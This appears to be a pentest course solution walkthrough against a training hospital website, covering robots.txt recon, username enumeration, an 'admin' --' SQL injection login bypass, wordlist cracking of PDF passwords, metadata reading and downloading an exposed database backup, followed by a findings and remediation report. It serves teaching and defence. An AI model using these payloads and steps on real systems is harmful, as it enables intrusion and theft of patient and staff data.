

Mediroza General Hospital - Pentest Project Solution

Batch B082 | Week 4 | Confidential

Target: <https://medirozahospital.com>

Milestone 1 — Initial Access

Step 1. Recon

i Reconnaissance is the first phase of a pentest. A robots.txt file tells search engines which folders to ignore. Disallow entries reveal hidden areas of the site that the owner does not want publicly indexed.

Check the robots file to find hidden folders on the target.

```
curl https://medirozahospital.com/robots.txt
```

OUTPUT

```
Disallow: /patient/ Disallow: /staff/ Disallow: /old/
```

The /patient folder is the target for this milestone. The /old folder becomes relevant in Milestone 3.

Step 2. Find the login page

i The robots file told us a /patient folder exists. Opening it in the browser reveals a login page, which is a common entry point to test.

```
https://medirozahospital.com/patient/login.php
```

Step 3. Username enumeration

i Username enumeration means the application reveals whether a username exists or not through its error messages. A secure login should always show the same message regardless of which field is wrong.

Try a fake username with any password.

```
username: bob password: test123
```

RESPONSE

```
Username not found
```

Now try admin.

```
username: admin password: test123
```

RESPONSE

```
Incorrect password
```

The site gave two different messages. This confirms admin is a real account. This difference alone is a vulnerability.

Step 4. Test for SQL injection

i SQL injection is a vulnerability where the application places user input directly inside a database query. A single quote breaks the query syntax and causes the database to throw an error, which tells us the field is injectable.

Type a single quote in the username field.

```
username: admin' password: test123
```

RESPONSE

```
Warning: mysqli_query(): You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
''' at line 1
```

The database error confirms the login is vulnerable to SQL injection.

Step 5. Bypass the login

i The payload `admin' --` works by breaking out of the query string with a quote, then using `--` to comment out everything after it, including the password check. The database then matches `admin` with no password condition.

```
username: admin' -- password: anything
```

RESULT

```
Logged in. Portal page loads with 3 reports listed.
```

Step 6. Download the 3 reports

Download all 3 files from the portal.

```
patient_report_1.pdf patient_report_2.pdf patient_report_3.pdf
```

Milestone 2 — Crack the Encryption

Step 1. Get the hash of each PDF

i PDF files use password-based encryption. To crack the password we first extract a hash, which is a mathematical fingerprint of the encrypted file. The cracking tool then tries passwords from a wordlist and checks each one against the hash.

Open the Networkwalks Hash Calculator and upload each PDF one by one.

```
https://networkwalks.com/hash-calculator/
```

Copy the hash it gives you. It starts with `$pdf$`.

Step 2. Crack reports 1 and 2

i A wordlist is a text file containing common passwords. The cracker tries each word until one matches. The built-in list covers the most common 100 passwords in the world.

Open the Networkwalks Password Cracker, paste the hash and press Start Cracking with the built-in list.

```
https://networkwalks.com/password-cracker/
```

RESULTS

```
patient_report_1.pdf → 123456
patient_report_2.pdf → password
```

Step 3. Crack report 3

i When a small wordlist fails it means the password is not among the most common ones. The solution is to try a larger wordlist that covers more possibilities.

Run report 3 with the built-in list first.

RESULT

```
Exhausted wordlist. No match. ACCESS DENIED.
```

Switch the wordlist to the JTR list your instructor gave you and run again.

RESULT WITH JTR LIST

```
patient_report_3.pdf → !@#$$%^&
```

Lesson: When one wordlist fails, think about why and try a bigger one. Real attackers keep several wordlists for exactly this reason.

Step 4. Keep an unlocked copy of report 3

i *qpdf* is a command line tool that can decrypt a password protected PDF and save a clean copy. You need an unlocked copy so that metadata analysis tools can read all the file properties in the next milestone.

```
qpdf --password='!@#$$%^&' --decrypt patient_report_3.pdf report3_open.pdf
```

Milestone 3 — Deep Reconnaissance

Step 1. Read the metadata

i *Metadata* is hidden information stored inside a file, such as who created it, when, and with what software. *exiftool* is a command line tool that reads and displays all metadata fields from any file type including PDFs.

Run *exiftool* on the unlocked report 3. A locked PDF only shows Encryption, so you must unlock it first.

```
exiftool report3_open.pdf
```

KEY FIELDS IN THE OUTPUT

```
Author      : j.malik
Comments    : DB backup moved to /old before site migration, do not delete
```

Someone from IT left a note inside the PDF pointing to a forgotten backup folder on the server.

Step 2. Confirm from robots.txt

i *You already found /old in the robots file during recon in Step 1. This is why thorough recon matters. A clue found later in the assessment can connect back to something you spotted earlier.*

Both the metadata clue and the robots file point to /old. Either path leads to the same place.

Step 3. Open the old folder

i *Directory listing* is a misconfiguration where a web server shows the contents of a folder like a file browser when no index page exists. This exposes files that should not be publicly visible.

```
https://medirozahospital.com/old/
```

Directory listing is enabled. The backup file is visible.

```
mediroza_db_backup_2019.sql
```

Download it.

```
wget https://medirozahospital.com/old/mediroza_db_backup_2019.sql
```

Step 4. Read the data with ChatGPT

i A .sql file is a database backup in raw text format. It contains SQL commands used to recreate tables and insert data. The format is readable but dense. AI tools like ChatGPT can convert it into a clean human readable table instantly.

Open the file in a text editor. Copy the INSERT INTO `staff` rows and send to ChatGPT with this prompt.

```
Present this SQL data as a readable table showing name, job title, department and monthly salary.
```

Then copy the INSERT INTO `shareholders` rows and send with this prompt.

```
Present this SQL data as a readable table showing shareholder name, share percentage and share class.
```

Step 5. Connect the clue back to the staff table

i A good pentest report does not just show findings in isolation. It traces the full chain so the client understands how one weakness led to another.

Find Jameel Malik in the staff table. His email is j.malik, the same name that appeared as the Author field in the PDF metadata. He is the IT Systems Administrator who moved the backup and left the note inside the file. The trail is complete.

Milestone 4 — Penetration Testing Report

Findings Summary

#	Vulnerability	Location	Risk
1	Username enumeration on login page	patient/login.php	Medium
2	SQL injection login bypass	patient/login.php	Critical
3	Encrypted PDFs accessible after login bypass	patient/reports/	High
4	Weak PDF passwords crackable with a wordlist	patient_report_*.pdf	High
5	Sensitive metadata left in patient PDF files	patient_report_3.pdf	Medium
6	Forgotten backup folder with directory listing enabled	old/	Critical
7	Confidential staff salaries and shareholder data in plain text	old/mediroza_db_backup_2019.sql	Critical

Recommendations and Remediation

- Username enumeration: Show the same error message for a wrong username and a wrong password. Never reveal which one failed.
- SQL injection: Use parameterised queries or prepared statements. Never build SQL queries using raw user input.

- PDF access control: Store PDFs outside the web root or behind proper access controls. Use strong unique passwords per file.
- PDF metadata: Strip all metadata from patient files before distributing. Use exiftool -all= filename.pdf to clean files.
- Directory listing and backup exposure: Disable directory listing on all folders. Remove or relocate old backup files. Never store database backups in a public web folder.

This document is produced by Networkwalks for educational purposes only. The target has been authorised for security testing. These techniques must never be applied to any system without explicit written permission from the owner.

This document is for education purposes only. The target is owned/client by Networkwalks. Never apply these techniques to any system without explicit written permission from the owner.